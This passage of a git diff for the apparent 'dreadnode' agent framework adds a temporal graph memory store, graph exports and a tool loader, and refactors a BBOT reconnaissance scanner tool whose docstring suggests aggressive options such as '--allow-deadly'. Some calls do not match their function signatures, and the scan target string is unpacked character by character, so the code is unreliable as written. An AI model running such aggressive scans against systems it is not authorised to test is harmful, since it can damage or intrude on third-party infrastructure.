pq.read_table(ev_path).to_pandas() + ev["event_ts"] = pd.to_datetime(ev["event_ts"], utc=True) + + bounds = steps_df[["step_id", "start_ts"]].rename(columns={"start_ts": "t"}).sort_values("t") + ev_sorted = ev.sort_values("event_ts") + merged = pd.merge_asof( + ev_sorted, bounds, left_on="event_ts", right_on="t", direction="backward" + ) + out = merged[["src_uuid", "dst_uuid", "type", "step_id", "event_kind"]].copy() + out["delta"] = out["event_kind"].map({"open": +1, "close": -1}).fillna(+1) + out.rename(columns={"src_uuid": "src", "dst_uuid": "dst"}, inplace=True) + return out[["src", "dst", "type", "step_id", "delta"]] + + +def edges_active_matrix(step_deltas: pd.DataFrame) -> pd.DataFrame: + sd = step_deltas.sort_values(["src", "dst", "type", "step_id"]) + sd["cum"] = sd.groupby(["src", "dst", "type"], sort=False)["delta"].cumsum() + active = sd[sd["cum"] > 0][["src", "dst", "type", "step_id"]].copy() + active["active"] = 1 + return active + + +def edges_at_step_from_active(active_long: pd.DataFrame, step_id: int) -> pd.DataFrame: + m = active_long["step_id"] == step_id + return active_long.loc[m, ["src", "dst", "type"]].reset_index(drop=True) diff --git a/dreadnode/agent/memory/export/__init__.py b/dreadnode/agent/memory/export/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/export/networkx_export.py b/dreadnode/agent/memory/export/networkx_export.py new file mode 100644 index 00000000..0d048c61 --- /dev/null +++ b/dreadnode/agent/memory/export/networkx_export.py @@ -0,0 +1,45 @@ +from datetime import datetime, timezone + +import networkx as nx +from pandas import DataFrame + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.backend.steps import edges_at_step + + +def nx_snapshot_by_time( + store: PandasTemporalStore, + *, + group_id: str, + as_of: datetime | None = None, + start: datetime | None = None, + end: datetime | None = None, + directed: bool = True, +) -> nx.Graph: + if as_of is not None: + edges = store.edges_as_of(group_id=group_id, as_of=as_of) + elif start is not None and end is not None: + edges = store.edges_in_window(group_id=group_id, start=start, end=end) + else: + edges = store.edges_as_of(group_id=group_id, as_of=datetime.now(timezone.utc)) + + Gtype = nx.DiGraph if directed else nx.Graph + G = nx.from_pandas_edgelist( + edges, source="src", target="dst", edge_attr="type", create_using=Gtype() + ) + return G + + +def nx_snapshot_by_step( + store: PandasTemporalStore, + steps_df: DataFrame, + *, + group_id: str, + step_id: int, + directed: bool = True, +) -> nx.Graph: + edges = edges_at_step(store, steps_df, group_id, step_id) + Gtype = nx.DiGraph if directed else nx.Graph + return nx.from_pandas_edgelist( + edges, source="src", target="dst", edge_attr="type", create_using=Gtype() + ) diff --git a/dreadnode/agent/memory/export/pyg_export.py b/dreadnode/agent/memory/export/pyg_export.py new file mode 100644 index 00000000..2255394a --- /dev/null +++ b/dreadnode/agent/memory/export/pyg_export.py @@ -0,0 +1,108 @@ +import json +from dataclasses import dataclass +from datetime import datetime, timezone + +import pandas as pd +import torch +from torch_geometric.data import HeteroData + +from dreadnode.agent.memory import PandasTemporalStore + + +@dataclass +class HeteroExportResult: + data: HeteroData + node_id_maps: dict[str, dict[str, int]] # node_type -> {uuid -> idx} + edge_counts: dict[tuple[str, str, str], int] # (src_type, rel_type, dst_type) -> count + + +def export_pyg_heterodata( + store: PandasTemporalStore, + group_id: str, + *, + as_of: datetime | None = None, + start: datetime | None = None, + end: datetime | None = None, + include_isolated: bool = False, + feature_key_by_type: dict[str, str] | None = None, +) -> HeteroExportResult: + if as_of is not None: + e_df = store.edges_as_of(group_id=group_id, as_of=as_of) + elif start is not None and end is not None: + e_df = store.edges_in_window(group_id=group_id, start=start, end=end) + else: + e_df = store.edges_as_of(group_id=group_id, as_of=datetime.now(timezone.utc)) + + e_df = e_df.astype({"src": "string", "dst": "string", "type": "string"}) + used = set(e_df["src"]).union(set(e_df["dst"])) + n_df = store.nodes_df(group_id=group_id, subset_uuids=None if include_isolated else list(used)) + if n_df.empty: + return HeteroExportResult(HeteroData(), {}, {}) + + def _to_dict(x): + if isinstance(x, dict): + return x + if isinstance(x, str) and x: + try: + return json.loads(x) + except Exception: + return {} + return {} + + n_df["attributes"] = n_df.get("attributes", "{}").apply(_to_dict) + n_df["label"] = n_df["label"].astype("string") + n_df["uuid"] = n_df["uuid"].astype("string") + + node_id_maps: dict[str, dict[str, int]] = {} + type_to_nodes: dict[str, list[str]] = {} + for t, sub in n_df.groupby("label", sort=False): + uuids = sub["uuid"].tolist() + type_to_nodes[t] = uuids + node_id_maps[t] = {u: i for i, u in enumerate(uuids)} + + data = HeteroData() + edge_counts: dict[tuple[str, str, str], int] = {} + feature_key_by_type = feature_key_by_type or {} + + for t, uuids in type_to_nodes.items(): + data[t].num_nodes = len(uuids) + feat_key = feature_key_by_type.get(t) + if feat_key: + feats = [] + ok = True + sub = n_df[n_df["label"] == t] + for _, row in sub.iterrows(): + val = row["attributes"].get(feat_key) + if isinstance(val, (list, tuple)) and all(isinstance(v, (int, float)) for v in val): + feats.append(val) + else: + ok = False + break + if ok and feats: + data[t].x = torch.tensor(feats, dtype=torch.float32) + + uuid_to_type = dict(zip(n_df["uuid"], n_df["label"], strict=False)) + rows = [] + for src, dst, rtype in e_df[["src", "dst", "type"]].itertuples(index=False): + s_type = uuid_to_type.get(src) + d_type = uuid_to_type.get(dst) + if s_type is None or d_type is None: + continue + rows.append((s_type, rtype, d_type, src, dst)) + + if not rows: + return HeteroExportResult(data, node_id_maps, edge_counts) + + df_edges = pd.DataFrame(rows, columns=["s_type", "r_type", "d_type", "src", "dst"]) + for (s_type, r_type, d_type), grp in df_edges.groupby( + ["s_type", "r_type", "d_type"], sort=False + ): + s_map = node_id_maps[s_type] + d_map = node_id_maps[d_type] + src_idx = [s_map[u] for u in grp["src"]] + dst_idx = [d_map[u] for u in grp["dst"]] + edge_index = torch.tensor([src_idx, dst_idx], dtype=torch.long) + data[(s_type, r_type, d_type)].edge_index = edge_index + edge_counts[(s_type, r_type, d_type)] = edge_index.size(1) + + return HeteroExportResult(data=data, node_id_maps=node_id_maps, edge_counts=edge_counts) diff --git a/dreadnode/agent/memory/graph/__init__.py b/dreadnode/agent/memory/graph/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/graph/adapter.py b/dreadnode/agent/memory/graph/adapter.py new file mode 100644 index 00000000..41a30589 --- /dev/null +++ b/dreadnode/agent/memory/graph/adapter.py @@ -0,0 +1,45 @@ +from datetime import datetime + +import pandas as pd + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.graph.base import ( + Universe, + coerce_edge_events_schema, + coerce_nodes_schema, +) + + +class TypedGraphAdapter: + def __init__(self, store: PandasTemporalStore, universe: Universe): + self.store = store + self.universe = universe + + def ingest( + self, + *, + group_id: str, + nodes_df: pd.DataFrame | None = None, + edges_df: pd.DataFrame | None = None, + default_ts: datetime | None = None, + ) -> None: + nodes_norm = None + if nodes_df is not None and len(nodes_df): + nd = nodes_df.copy() + if self.universe.label_aliases and "label" in nd: + nd["label"] = nd["label"].map(lambda x: self.universe.label_aliases.get(x, x)) + nodes_norm = coerce_nodes_schema(nd, allowed_labels=self.universe.labels) + self.store.add_entities_df(group_id=group_id, nodes_df=nodes_norm) + + if edges_df is not None and len(edges_df): + current_nodes = self.store.nodes_df(group_id) + if nodes_norm is not None and len(nodes_norm): + current_nodes = pd.concat([current_nodes, nodes_norm], ignore_index=True) + current_nodes.sort_values(["uuid", "created_at"], inplace=True) + current_nodes = current_nodes.drop_duplicates(subset=["uuid"], keep="last") + edges_norm = coerce_edge_events_schema( + edges_df, current_nodes, allowed_map=self.universe.allowed + ) + self.store.add_entities_df( + group_id=group_id, edges_df=edges_norm, default_ts=default_ts + ) diff --git a/dreadnode/agent/memory/graph/base.py b/dreadnode/agent/memory/graph/base.py new file mode 100644 index 00000000..88805b45 --- /dev/null +++ b/dreadnode/agent/memory/graph/base.py @@ -0,0 +1,153 @@ +import json +from dataclasses import dataclass, field +from datetime import datetime, timezone + +import pandas as pd +import yaml + +Label = str +EdgeType = str +TripletKey = tuple[Label, Label] # (src_label, dst_label) + + +@dataclass(frozen=True) +class Universe: + labels: set[Label] + allowed: dict[TripletKey, set[EdgeType]] # (src_label, dst_label) -> {"Has","LedTo",...} + label_aliases: dict[Label, Label] = field( + default_factory=dict + ) # optional: map external -> internal + + def merge(self, other: "Universe") -> "Universe": + merged_labels = set(self.labels) | set(other.labels) + merged_allowed: dict[TripletKey, set[EdgeType]] = { + k: set(v) for k, v in self.allowed.items() + } + for k, v in other.allowed.items(): + merged_allowed.setdefault(k, set()).update(v) + merged_aliases = {**self.label_aliases, **other.label_aliases} + return Universe(labels=merged_labels, allowed=merged_allowed, label_aliases=merged_aliases) + + +def load_universe_yaml(path: str) -> Universe: + with open(path) as f: + spec = yaml.safe_load(f) + labels = set(spec["labels"]) + allowed: dict[TripletKey, set[EdgeType]] = {} + for src, edge, dst in spec["edges"]: + allowed.setdefault((src, dst), set()).add(edge) + aliases = dict(spec.get("aliases", {})) + return Universe(labels=labels, allowed=allowed, label_aliases=aliases) + + +# ----- Stable pandas dtypes ----- +NODES_PD_DTYPES = { + "uuid": "string[pyarrow]", + "group_id": "string[pyarrow]", + "label": "string[pyarrow]", + "name": "string[pyarrow]", + "created_at": "datetime64[ns, UTC]", + "attributes": "string[pyarrow]", # JSON +} + +EDGE_EVENTS_PD_DTYPES = { + "group_id": "string[pyarrow]", + "src_uuid": "string[pyarrow]", + "dst_uuid": "string[pyarrow]", + "type": "string[pyarrow]", + "event_ts": "datetime64[ns, UTC]", + "event_kind": "string[pyarrow]", # "open" | "close" + "attributes": "string[pyarrow]", +} + + +def coerce_nodes_schema( + universe: Universe, df: pd.DataFrame, *, allowed_labels: set[str] | None = None +) -> pd.DataFrame: + allowed_labels = allowed_labels or universe.labels + df = df.copy() + for c in ("uuid", "label"): + if c not in df: + raise ValueError(f"nodes_df missing required column '{c}'") + if "group_id" not in df: + df["group_id"] = "default" + if "name" not in df: + df["name"] = "" + if "created_at" not in df: + df["created_at"] = pd.Timestamp(datetime.now(timezone.utc), tz="UTC") + if "attributes" not in df: + df["attributes"] = "{}" + bad = df[~df["label"].isin(allowed_labels)] + if len(bad): + raise ValueError("Invalid labels:\n" + bad[["uuid", "label"]].to_string(index=False)) + df["created_at"] = pd.to_datetime(df["created_at"], utc=True) + df["attributes"] = df["attributes"].apply( + lambda x: json.dumps(x) if not isinstance(x, str) else x + ) + return df.astype( + { + "uuid": "string[pyarrow]", + "group_id": "string[pyarrow]", + "label": "string[pyarrow]", + "name": "string[pyarrow]", + "attributes": "string[pyarrow]", + } + ).astype({"created_at": "datetime64[ns, UTC]"}) + + +def coerce_edge_events_schema( + universe: Universe, + edges_df: pd.DataFrame, + nodes_lookup: pd.DataFrame, + *, + allowed_map: dict[tuple[str, str], set[str]] | None = None, +) -> pd.DataFrame: + allowed_map = allowed_map or universe.allowed + df = edges_df.copy() + for c in ("src_uuid", "dst_uuid", "type"): + if c not in df: + raise ValueError(f"edges_df missing required column '{c}'") + if "group_id" not in df: + df["group_id"] = "default" + if "event_ts" not in df: + df["event_ts"] = pd.Timestamp(datetime.now(timezone.utc), tz="UTC") + if "event_kind" not in df: + df["event_kind"] = "open" + if "attributes" not in df: + df["attributes"] = "{}" + label_map = dict( + zip(nodes_lookup["uuid"].astype(str), nodes_lookup["label"].astype(str), strict=False) + ) + df["src_label"] = df["src_uuid"].map(label_map) + df["dst_label"] = df["dst_uuid"].map(label_map) + missing = df[df["src_label"].isna() | df["dst_label"].isna()] + if len(missing): + raise ValueError( + "Edge references unknown uuids; add nodes first:\n" + + missing[["src_uuid", "dst_uuid", "type"]].to_string(index=False) + ) + + def ok(row: pd.Series) -> bool: + return row["type"] in allowed_map.get((row["src_label"], row["dst_label"]), set()) + + bad = df[~df.apply(ok, axis=1)] + if len(bad): + raise ValueError( + "Disallowed edges:\n" + + bad[["src_uuid", "src_label", "type", "dst_label", "dst_uuid"]].to_string(index=False) + ) + df["event_ts"] = pd.to_datetime(df["event_ts"], utc=True) + df["attributes"] = df["attributes"].apply( + lambda x: json.dumps(x) if not isinstance(x, str) else x + ) + df = df.astype( + { + "group_id": "string[pyarrow]", + "src_uuid": "string[pyarrow]", + "dst_uuid": "string[pyarrow]", + "type": "string[pyarrow]", + "event_kind": "string[pyarrow]", + "attributes": "string[pyarrow]", + } + ).astype({"event_ts": "datetime64[ns, UTC]"}) + return df[["group_id", "src_uuid", "dst_uuid", "type", "event_ts", "event_kind", "attributes"]] diff --git a/dreadnode/agent/memory/memory.py b/dreadnode/agent/memory/memory.py new file mode 100644 index 00000000..4655616d --- /dev/null +++ b/dreadnode/agent/memory/memory.py @@ -0,0 +1,381 @@ +import asyncio +import json +import logging +import os +from dataclasses import dataclass +from datetime import datetime, timezone +from typing import Any, TypedDict + +import pandas as pd + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.export.networkx_export import nx_snapshot_by_time +from dreadnode.agent.memory.graph.adapter import TypedGraphAdapter + +logger = logging.getLogger(__name__) +pd.options.mode.copy_on_write = True + + +# ---- public response types (same as your tool API) ---- +class SuccessResponse(TypedDict): + message: str + + +class ErrorResponse(TypedDict): + error: str + + +class NodeResult(TypedDict): + uuid: str + name: str + summary: str + labels: list[str] + group_id: str + created_at: str + attributes: dict[str, Any] + + +class NodeSearchResponse(TypedDict): + message: str + nodes: list[NodeResult] + + +class FactSearchResponse(TypedDict): + message: str + facts: list[dict[str, Any]] + + +def _to_iso(dt) -> str: + if pd.isna(dt) or dt is None: + return datetime.now(timezone.utc).isoformat() + ts = pd.to_datetime(dt, utc=True) + return ts.isoformat() + + +def _to_attrs(x: dict[str, Any] | str) -> dict[str, Any]: + if isinstance(x, dict): + return x + if isinstance(x, str) and x: + try: + return json.loads(x) + except Exception: + return {"_raw": x} + return {} + + +def serialize_nodes_df(nodes_df: pd.DataFrame, group_id: str) -> list[NodeResult]: + out: list[NodeResult] = [] + for r in nodes_df.itertuples(index=False): + attrs = getattr(r, "attributes", "{}") + out.append( + NodeResult( + uuid=str(r.uuid), + name=str(getattr(r, "name", "") or ""), + summary="", # fill if you compute one + labels=[str(r.label)], + group_id=group_id, + created_at=_to_iso(getattr(r, "created_at", None)), + attributes=_to_attrs(attrs), + ) + ) + return out + + +@dataclass +class MemoryConfig: + root: str = os.environ.get("LAKE_ROOT", "./lake_pandas") + default_group_id: str | None = os.environ.get("GROUP_ID") + destroy_on_start: bool = bool(int(os.environ.get("DESTROY_ON_START", "0"))) + + +def _wipe_all_parquet(root: str): + import pathlib + import shutil + + p = pathlib.Path(root) + if p.exists(): + shutil.rmtree(p) + p.mkdir(parents=True, exist_ok=True) + + +def _format_fact_result(edge_row: dict[str, Any]) -> dict[str, Any]: + out: dict[str, Any] = {} + src = edge_row.get("src") or edge_row.get("src_uuid") + dst = edge_row.get("dst") or edge_row.get("dst_uuid") + out["src_uuid"] = str(src or "") + out["dst_uuid"] = str(dst or "") + out["type"] = str(edge_row.get("type", "")) + if "event_ts" in edge_row: + out["event_ts"] = pd.to_datetime(edge_row["event_ts"], utc=True).isoformat() + out["event_kind"] = str(edge_row.get("event_kind", "open")) + if "valid_from" in edge_row or "valid_to" in edge_row: + if edge_row.get("valid_from") is not None: + out["valid_from"] = pd.to_datetime(edge_row["valid_from"], utc=True).isoformat() + if edge_row.get("valid_to") is not None: + out["valid_to"] = pd.to_datetime(edge_row["valid_to"], utc=True).isoformat() + attrs = edge_row.get("attributes", {}) + if isinstance(attrs, str): + try: + attrs = json.loads(attrs) + except Exception: + attrs = {"_raw": attrs} + out["attributes"] = attrs if isinstance(attrs, dict) else {} + return out + + +class MemoryService: + def __init__( + self, config: MemoryConfig, store: PandasTemporalStore, adapter: TypedGraphAdapter + ): + self.config = config + self.store = store + self.adapter = adapter + self._queues: dict[str, asyncio.Queue] = {} + self._workers: dict[str, asyncio.Task] = {} + + @classmethod + async def create(cls, config: MemoryConfig | None = None) -> "MemoryService": + cfg = config or MemoryConfig() + if cfg.destroy_on_start: + _wipe_all_parquet(cfg.root) + store = PandasTemporalStore(root=cfg.root) + adapter = TypedGraphAdapter(store) # uses CORE_UNIVERSE by default + logger.info("Temporal memory initialized (pandas store at %s)", cfg.root) + return cls(cfg, store, adapter) + + async def shutdown(self): + # cancel worker tasks cleanly + for gid, t in list(self._workers.items()): + t.cancel() + try: + await t + except asyncio.CancelledError: + pass + except Exception: + logger.exception("Worker shutdown error for %s", gid) + self._workers.clear() + + # ---------- internal queue worker ---------- + async def _process_episode_queue(self, group_id: str): + logger.info("Starting episode queue worker for group_id: %s", group_id) + q = self._queues[group_id] + try: + while True: + fn = await q.get() + try: + await fn() + except Exception as e: + logger.exception("Error processing episode for %s: %s", group_id, e) + finally: + q.task_done() + except asyncio.CancelledError: + logger.info("Episode queue worker for %s cancelled", group_id) + finally: + self._workers.pop(group_id, None) + logger.info("Stopped episode queue worker for %s", group_id) + + def _ensure_worker(self, group_id: str): + if group_id not in self._queues: + self._queues[group_id] = asyncio.Queue() + if group_id not in self._workers: + self._workers[group_id] = asyncio.create_task(self._process_episode_queue(group_id)) + + # ---------- public API (same semantics as before) ---------- + async def add_memory( + self, + name: str, + episode_body: str, + group_id: str | None = None, + source: str = "text", + source_description: str = "", + uuid: str | None = None, + ) -> SuccessResponse | ErrorResponse: + gid = (group_id or self.config.default_group_id) or "default" + now = datetime.now(timezone.utc) + + async def process_episode(): + logger.info("Processing episode '%s' (group=%s, source=%s)", name, gid, source) + s = source.lower().strip() + try: + if s == "json": + payload = json.loads(episode_body) + nodes = payload.get("nodes", []) + edges = payload.get("edges", []) + nodes_df = pd.DataFrame(nodes) if nodes else None + edges_df = pd.DataFrame(edges) if edges else None + self.adapter.ingest( + group_id=gid, nodes_df=nodes_df, edges_df=edges_df, default_ts=now + ) + else: + logger.info("Text/message episode stored (no IE). desc=%s", source_description) + except Exception as e: + logger.exception("Episode '%s' failed: %s", name, e) + + self._ensure_worker(gid) + await self._queues[gid].put(process_episode) + pos = self._queues[gid].qsize() + return SuccessResponse(message=f"Episode '{name}' queued for processing (position: {pos})") + + async def search_memory_nodes( + self, + query: str, + group_ids: list[str] | None = None, + max_nodes: int = 10, + center_node_uuid: str | None = None, + entity: str = "", + ) -> NodeSearchResponse | ErrorResponse: + try: + gids = ( + group_ids + or ([self.config.default_group_id] if self.config.default_group_id else []) + or ["default"] + ) + asof = datetime.now(timezone.utc) + results: list[NodeResult] = [] + + for gid in gids: + ndf = self.store.nodes_df(gid) + if ndf.empty: + continue + + hay = (ndf["name"].fillna("") + " " + ndf["attributes"].fillna("")).str.lower() + mask = ( + hay.str.contains(query.lower(), na=False) + if query + else pd.Series([True] * len(ndf)) + ) + if entity: + mask = mask & (ndf["label"] == entity) + sub = ndf[mask].copy() + + if center_node_uuid: + try: + G = nx_snapshot_by_time(self.store, group_id=gid, as_of=asof, directed=True) + from collections import deque + + dist = {} + if center_node_uuid in G: + q = deque([(center_node_uuid, 0)]) + seen = {center_node_uuid} + while q: + u, d = q.popleft() + dist[u] = d + for v in G.neighbors(u): + if v not in seen: + seen.add(v) + q.append((v, d + 1)) + sub["__dist"] = sub["uuid"].map(lambda u: dist.get(u, 10**9)) + sub.sort_values(["__dist", "name"], inplace=True) + else: + sub["__dist"] = 10**9 + except Exception: + sub["__dist"] = 10**9 + else: + sub["__dist"] = 0 + + for r in sub.head(max_nodes).itertuples(index=False): + try: + attrs = r.attributes + if isinstance(attrs, str): + attrs = json.loads(attrs) if attrs else {} + except Exception: + attrs = {} + results.append( + { + "uuid": str(r.uuid), + "name": str(r.name or ""), + "summary": "", + "labels": [str(r.label)], + "group_id": gid, + "created_at": pd.to_datetime(r.created_at, utc=True).isoformat() + if "created_at" in r._fields + else datetime.now(timezone.utc).isoformat(), + "attributes": attrs if isinstance(attrs, dict) else {}, + } + ) + + return NodeSearchResponse( + message="Nodes retrieved successfully", nodes=results[:max_nodes] + ) + except Exception as e: + logger.exception("search_memory_nodes error: %s", e) + return ErrorResponse(error=str(e)) + + async def search_memory_facts( + self, + query: str, + group_ids: list[str] | None = None, + max_facts: int = 10, + center_node_uuid: str | None = None, + ) -> FactSearchResponse | ErrorResponse: + try: + gids = ( + group_ids + or ([self.config.default_group_id] if self.config.default_group_id else []) + or ["default"] + ) + asof = datetime.now(timezone.utc) + facts_out: list[dict[str, Any]] = [] + + for gid in gids: + edges = self.store.edges_as_of(group_id=gid, as_of=asof) + if edges.empty: + continue + nodes = self.store.nodes_df(gid)[["uuid", "label", "name", "attributes"]] + e = edges.merge( + nodes.add_prefix("src_"), left_on="src", right_on="src_uuid", how="left" + ) + e = e.merge( + nodes.add_prefix("dst_"), left_on="dst", right_on="dst_uuid", how="left" + ) + + if center_node_uuid: + e = e[(e["src"] == center_node_uuid) | (e["dst"] == center_node_uuid)] + + if query: + q = query.lower() + cols = [ + e["type"].astype(str).str.lower(), + e["src_label"].astype(str).str.lower(), + e["src_name"].astype(str).str.lower(), + e["dst_label"].astype(str).str.lower(), + e["dst_name"].astype(str).str.lower(), + e["src_attributes"].astype(str).str.lower(), + e["dst_attributes"].astype(str).str.lower(), + ] + hay = cols[0] + for c in cols[1:]: + hay = hay.str.cat(c, sep=" ") + e = e[hay.str.contains(q, na=False)] + + facts_out.extend( + [ + _format_fact_result( + { + "src_uuid": row["src"], + "dst_uuid": row["dst"], + "type": row["type"], + "attributes": { + "src": { + "uuid": row["src"], + "label": row.get("src_label"), + "name": row.get("src_name"), + }, + "dst": { + "uuid": row["dst"], + "label": row.get("dst_label"), + "name": row.get("dst_name"), + }, + }, + } + ) + for row in e.head(max_facts).to_dict("records") + ] + ) + + return FactSearchResponse( + message="Facts retrieved successfully", facts=facts_out[:max_facts] + ) + except Exception as e: + logger.exception("search_memory_facts error: %s", e) + return ErrorResponse(error=str(e)) diff --git a/dreadnode/agent/tools/base.py b/dreadnode/agent/tools/base.py index ee5a6768..0c33979b 100644 --- a/dreadnode/agent/tools/base.py +++ b/dreadnode/agent/tools/base.py @@ -1,12 +1,17 @@ import inspect import typing as t +from importlib.resources import files +import yaml from pydantic import BaseModel, ConfigDict from rigging import tools from rigging.tools.base import Tool, ToolMethod from dreadnode.agent.configurable import CONFIGURABLE_ATTR, configurable +if t.TYPE_CHECKING: + from pathlib import Path + Tool = tools.Tool # noqa: F811 tool = tools.tool @@ -100,3 +105,8 @@ def get_tools(self, *, variant: str | None = None) -> list[AnyTool]: bound_tool = t.cast("AnyTool", getattr(self, name)) tools.append(bound_tool) return tools + + def get_manifest() -> dict: + path: Path = files(__package__).joinpath("manifest.yaml") + with path.open("r", encoding="utf-8") as f: + return yaml.safe_load(f) diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index 08617b0a..d3918e5b 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,112 +1,107 @@ import typing as t from bbot import Preset, Scanner -from pydantic import Field +from pydantic import BaseModel, Field, PrivateAttr from rich.console import Console -from dreadnode.agent.tools import Toolset, tool_method +from dreadnode.agent.tools.base import Toolset -from .dispatcher import Dispatcher from .utils import events_table, flags_table, modules_table, presets_table console = Console() -class BBotTool(Toolset): - tool_name: str = Field(default="bbot-agent", description="Name of the BBOT Tool") - targets: list[str] = Field(default_factory=list, description="Targets to scan with BBOT") +class BBotArgs(BaseModel): + target: str = Field(default_factory=str, description="Target to scan with BBOT") modules: list[str] = Field(default_factory=list, description="Modules to run with BBOT") presets: list[str] = Field(default_factory=list, description="Presets to use with BBOT") - flags: list[str] = Field(default=None, description="Flags to enable module groups") - config: dict[str, t.Any] = Field( - default=None, description="Custom config options in key=value format" + flags: list[str] = Field(default_factory=list, description="Flags to enable module groups") + config: dict[str, t.Any] = Field(default_factory=dict, description="Custom config options") + extra_args: list[str] = Field( + default_factory=list, + description=( + "Additional command-line arguments for BBOT. " + "This allows for advanced usage and customization." + ), ) - scan: Scanner = Field(default=None, description="The BBOT Scanner instance") - scan_timeout: int = Field(default=300, description="Timeout for BBOT scans in seconds") - dispatcher: Dispatcher = Field(default_factory=Dispatcher, exclude=True) - @classmethod - async def create( - cls, - targets: list[str], - modules: list[str] | None = None, - presets: list[str] | None = None, - flags: list[str] | None = None, - config: dict[str, t.Any] | None = None, - ) -> "BBotTool": - """Factory method to create and initialize a BBOT Tool.""" - try: - instance = cls( - targets=targets, - modules=modules or [], - presets=presets or [], - flags=flags or [], - config=config or {}, - ) - instance.scan = Scanner( - *instance.targets, - modules=instance.modules, - presets=instance.presets, - flags=instance.flags, - config=instance.config, - dispatcher=instance.dispatcher, - ) - except (ValueError, TypeError) as e: - raise ValueError( - f"Failed to create BBOT Tool with tool_name '{instance.tool_name}': {e}" - ) from e - - return instance - - @tool_method() - def get_presets(self) -> None: +class BBotTool(Toolset): + _scan: Scanner | None = PrivateAttr(default=None) + + @staticmethod + def get_presets() -> None: """Return the presets available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") console.print(presets_table(preset)) - @tool_method() - def get_modules(self) -> None: + @staticmethod + def get_modules() -> None: """Return the modules available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") console.print(modules_table(preset.module_loader)) - @tool_method() - def get_flags(self) -> None: + @staticmethod + def get_flags() -> None: """Return the output modules available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") console.print(flags_table(preset.module_loader)) - @tool_method() - def get_events(self) -> None: + @staticmethod + def get_events() -> None: """Return the flags available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") console.print(events_table(preset.module_loader)) - async def run(self) -> str: - r""" + def run( + self, + target: str, + modules: list[str] | None = None, + presets: list[str] | None = None, + flags: list[str] | None = None, + config: dict[str, t.Any] | None = None, + extra_args: list[str] | None = None, + ) -> t.AsyncGenerator[t.Any, None]: + """ Executes a BBOT scan against the specified targets. - This is the primary action tool. It assembles and runs a `bbot` command + This is the primary action tool. It assembles and runs a `bbot` command. Args: - targets: REQUIRED. Targets to scan (e.g., ['example.com']). - modules: Modules to run (e.g., ['httpx', 'nuclei']). - presets: Presets to use (e.g., ['subdomain-enum', 'web-basic']). - flags: Flags to enable module groups (e.g., ['passive', 'safe']). - config: Custom config options in key=value format (e.g., ['modules.httpx.timeout=5']). - extra_args: An array of strings for any other `bbot` CLI flags. This is the escape hatch - for advanced usage. For example: - ['--strict-scope'] - ['-ef aggressive --allow-deadly'] - ['--proxy http://127.0.0.1:8080'] + targets: REQUIRED. A list of targets to scan (e.g., ['example.com']). + modules: A list of modules to run (e.g., ['httpx', 'nuclei']). + presets: A list of presets to use (e.g., ['subdomain-enum', 'web-basic']). + flags: A list of flags to enable module groups (e.g., ['passive', 'safe']). + config: A dictionary of custom config options (e.g., {"modules.httpx.timeout": 5}). + extra_args: A list of strings for any other `bbot` CLI flags. + For example: ['--strict-scope', '--proxy http://127.0.0.1:8080'] Returns: - The standard output from the bbot command, summarizing the scan. + An async generator that yields JSON-formatted scan events. """ - if not self.targets: + args = BBotArgs( + target=target, + modules=modules or [], + presets=presets or [], + flags=flags or [], + config=config or {}, + extra_args=extra_args or [], + ) + return self._run_scan(args) + + async def _run_scan(self, args: BBotArgs) -> t.AsyncGenerator[t.Any, None]: + """The internal scan logic that operates on a validated BBotArgs model.""" + if not args.target: raise ValueError("At least one target is required to run a scan.") - async for event in self.scan.async_start(): - yield event + self._scan = Scanner( + *args.target, + modules=args.modules, + presets=args.presets, + flags=args.flags, + config=args.config, + ) + + async for event in self._scan.async_start(): + yield event.json(siem_friendly=True) diff --git a/dreadnode/agent/tools/loader.py b/dreadnode/agent/tools/loader.py new file mode 100644 index 00000000..97613ca9 --- /dev/null +++ b/dreadnode/agent/tools/loader.py @@ -0,0 +1,86 @@ +from dataclasses import dataclass +from importlib import import_module +from pathlib import Path +from typing import Any + +import yaml +from packaging.requirements import Requirement + +from .manifest import ToolManifest + + +def _merge_defaults( + schema_defaults: dict[str, Any], overrides: dict[str, Any] | None +) -> dict[str, Any]: + cfg = dict(schema_defaults) + if overrides: + for k, v in overrides.items(): + cfg[k] = v + return cfg + + +@dataclass +class LoadedTool: + manifest: ToolManifest + instance: Any # Tool/Toolset object + config: dict[str, Any] + + +def load_tool( + manifest: ToolManifest, *, core_version: str, config_overrides: dict[str, Any] | None = None +) -> LoadedTool: + # 1) compatibility + if not manifest.compatibility.satisfied(core_version=core_version): + raise RuntimeError(f"Tool {manifest.id} incompatible with core {core_version}") + + # 2) requirements (Python) — report missing; do not auto-install. + missing: list[str] = [] + for spec in manifest.requirements.python.packages: + try: + Requirement(spec) # validates syntax only + except Exception as e: + raise RuntimeError(f"Invalid requirement '{spec}': {e}") + # Optional: attempt import heuristic by package name (best-effort) + if missing: + raise RuntimeError(f"Missing packages: {missing}") + + # 3) import entrypoint + ep = manifest.entrypoint + mod = import_module(ep.module) + obj = None + if ep.factory: + obj = getattr(mod, ep.factory) + instance = obj(**(ep.kwargs or {})) + else: + target = getattr(mod, ep.qualname) if ep.qualname else mod + # If class -> instantiate; if function -> use as-is; if module -> look for "create". + if isinstance(target, type) or callable(target): + instance = target(**(ep.kwargs or {})) + else: + factory = getattr(target, "create", None) + if not callable(factory): + raise RuntimeError( + "Entrypoint must be class/function or expose a callable 'create'" + ) + instance = factory(**(ep.kwargs or {})) + + # 4) config merge + cfg = _merge_defaults(manifest.config_schema.defaults(), config_overrides) + + # Optional: you can inject cfg into your Tool/Toolset constructor or setter here + if hasattr(instance, "configure") and callable(instance.configure): + instance.configure(cfg) + + return LoadedTool(manifest=manifest, instance=instance, config=cfg) + + +SUPPORTED = {".yaml", ".yml"} + + +def load_manifest_file(path: Path) 